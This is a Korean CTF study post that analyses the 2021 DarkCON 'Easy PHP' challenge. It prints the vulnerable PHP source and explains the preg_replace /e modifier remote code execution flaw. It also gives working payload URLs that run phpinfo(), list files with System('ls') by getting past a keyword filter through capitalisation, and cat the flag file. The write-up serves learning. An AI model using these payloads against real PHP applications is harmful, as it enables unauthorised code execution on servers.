ctf study #8
ctf 웹 문제를 분석하거나 풀어보면서 공부하는 스터디 글입니다.
1. CTF 문제
2021 DarkCON CTF의 Easy PHP 문제입니다. 라업은 아래의 라업을 참고했습니다.
www.dongyeon1201.kr/b02eb0e9-f4bc-47d8-98be-d0bb3f489ffd
2. 취약점 목록
1. preg_replace 함수 취약점(RCE)
3. 분석
일단 문제를 보면 별다른 정보 없이 Welcome DarkCON CTF!!라는 문구만 출력되어있다고 합니다.
그래서 추가로 제공되는 파일이 있는 지 확인하였고, 제공된 파일 중 robots.txt파일의 내용을 통해 ?lmao라는 경로를 확인할 수 있고, 그 경로에 들어가면 소스코드를 확인할 수 있다고 합니다.
* 소스코드 분석
<?php
require_once 'config.php';
$text = "Welcome DarkCON CTF !!";
if (isset($_GET['lmao'])) {
highlight_file(__FILE__);
exit;
}
else {
$payload = $_GET['bruh'];
if (isset($payload)) {
# $payload 값 필터링
if (is_payload_danger($payload)) {
die("Amazing Goob JOb You :) ");
}
else {
# 기본적으로 출력되는 메세지를 입력한 정규식에 따라 변경
echo preg_replace($_GET['nic3'], $payload, $text);
}
}
echo $text;
}
?>
여기서 get 방식으로 전달 받는 두 개의 파라미터를 볼 수 있는데, nice3는 preg_replace에 사용되는 정규식이고, bruh는 preg_replace의 인자로 사용됩니다.
이 소스코드에서 중점적으로 봐야할 점은 입력받은 문자를 입력한 정규식에 따라 변경하여 출력한다는 것인데, 이때 파라미터 값을 preg_replace 함수를 사용한다는 것이 이 소스코드의 취약점이고, 이를 이용해서 문제를 풀어야합니다.
*preg_repalce 함수 취약점
이 함수의 취약점은 함수를 사용할 때 /e 옵션을 통해 문자열을 치환할 경우 변환하고자 하는 문자열을 php코드 그대로 인식한다는 것입니다. 즉, 소스코드가 입력될 경우 php 코드대로 실행되는 RCE취약점이 존재한다는 것입니다, 이는 아래를 통해 확인할 수 있습니다.
# DarkCON 문자가 phpinfo() 글자로 변경되며, /e 옵션으로 인해 함수로 실행된다.
echo preg_replace('/DarkCON/e', 'phpinfo()', $text);
-> http://easy-php.darkarmy.xyz/?nic3=/DarkCON/e&bruh=phpinfo()
PHP
여기서 라업의 작성자는 flag를 읽어오기 위해서 php코드인 system('ls')나 exec함수와 같은 시스템 함수를 이용해서 flag를 읽어올려고 했지만 소스코드에서 is_payload_danger함수로 인해 필터링되었다고 합니다. 하지만 이 필터링은 굉장히 단순하게 한 글자를 대문자로 바꿔서 우회하는 방법이 통했고, 따라서 System('ls") 을 통해 현재 존재하는 파일 목록을 화면에 출력할 수 있었습니다.
echo preg_replace('/DarkCON/e', 'System("ls")', $text);
http://easy-php.darkarmy.xyz/?nic3=/DarkCON/e&bruh=System(%22ls%22)
이렇게 플래그로 의심할만한 파일이 존재하는 것을 확인했고, 다시 system함수의 cat기능을 통해서 이 파일의 내용을 확인해보니 플래그를 확인할 수 있었다고 합니다.
echo preg_replace('/DarkCON/e', 'System("cat flag210d9f88fd1db71b947fbdce22871b57.php")', $text);
-> http://easy-php.darkarmy.xyz/?nic3=/DarkCON/e&bruh=System(%22cat%20flag210d9f88fd1db71b947fbdce22871b57.php%22)
4. 전체 페이로드 분석
이 문제에서는 딱히 최종 페이로드라고 할만한 내용은 찾기 힘들었고, 분석의 내용을 따라가면 쉽지 않게 문제를 이해할 수 있을 것 같습니다.
5. 리뷰
이 문제의 점수는 4점입니다. 솔직히 말하면 위의 라업 분석을 읽어보면서 느낄 수 있듯이 어려운 문제라고 하기는 어려운 부분이 많습니다. 단순 시스템 함수의 필터링이 대소문자 우회를 통해 우회된다는 점을 포함해서 소스코드가 분석하기 어려운 문제는 아닙니다. 하지만 제가 이 문제를 분석한 이유는 제가 몰랐던 취약점을 하나라도 배웠다는 점 때문에 이 문제의 라업 분석을 작성하게 되었습니다. 기존에 preg_match함수는 많이 보았고, 문제도 어느 정도 풀어보았지만 preg_replace함수가 취약점이 존재한다는 점과 그 취약점이 RCE라는 점은 짚고 넘어가면 좋을 것 같아서 이 문제를 통해 간단하게나마 정리해보았습니다.